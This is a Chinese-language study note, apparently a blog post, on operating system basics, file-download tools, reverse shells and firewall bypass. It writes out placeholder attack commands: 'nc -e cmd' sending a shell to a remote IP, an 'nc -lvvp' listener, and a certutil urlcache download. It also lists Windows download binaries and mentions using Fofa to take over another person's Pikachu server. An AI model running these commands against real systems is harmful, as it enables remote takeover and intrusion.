操作系统_名词_文件下载_反弹SHELL_防火墙绕过

操作系统

操作系统-用途&命令&权限&用户&防火墙

1、个人计算机&服务器用机

2、windows&Linux常见命令

3、文件权限&服务权限&用户权限

4、系统用户&用户组&服务用户等分类

5、自带防火墙出站&入站规则策略协议

实用案例1:文件上传下载-解决无图形化&解决数据传输

Linux:wget curl python ruby perl java等

Windows: Powershell Certutil Bitsadmin msiexec mshta rundll32等

实用案例2:反弹Shell命令-解决数据回显&解决数据通讯(反弹就是将权限给别人)

useradd passwd

测试Linux系统添加用户或修改命令交互回显

结合案例1:防火墙绕过-正向链接&反向链接&内网服务器

1、内网:

内网->用户

nc -e cmd ip地址 端口

就是把本机的cmd权限给这个ip的窗口

nc -lvvp 监听的端口号

2.防火墙

服务器主机<->另一个服务器主机

如果开了防火墙,是不行的

入站严格出站宽松

nc -e cmd ip地址 端口(就是正向链接)

主动把权限给出去

反向链接就是别人找你

结合案例-Fofa拿下同行Pikachu服务器

文件下载&反弹shell:

certuil -urlcache -split -f ip地址

nc -e cmd ip地址

找个在线的靶场

相关推荐
a1117769 小时前
2FA 验证码生成器(github登录验证 app)
笔记·学习
我的xiaodoujiao9 小时前
API 接口自动化测试详细图文教程学习系列32--Allure测试报告2
python·学习·测试工具·pytest
你想知道什么?11 小时前
线性回归-学习笔记
笔记·学习·线性回归
鱼毓屿御11 小时前
从「只会聊」到「边想边做」的跃迁
前端·学习·react.js
AOwhisky12 小时前
Python 学习笔记(第十五期)——运维自动化(下·后篇):堡垒机实战——paramiko高阶篇
运维·python·学习·云原生·自动化·运维开发
minglie114 小时前
zynq中linux系统的自动登录和免密登录
学习
茯苓gao14 小时前
嵌入式开发笔记:Qt信号槽机制深度解析——从原理到实战的全方位指南
开发语言·笔记·嵌入式硬件·qt·学习
我想我不够好。15 小时前
监控学习 7.23 1.5hour
学习
泰勒朗斯17 小时前
Helicopter FBI-405尾电机版本设置
学习
minglie118 小时前
香橙派zero3配个iic屏显示ip
linux·学习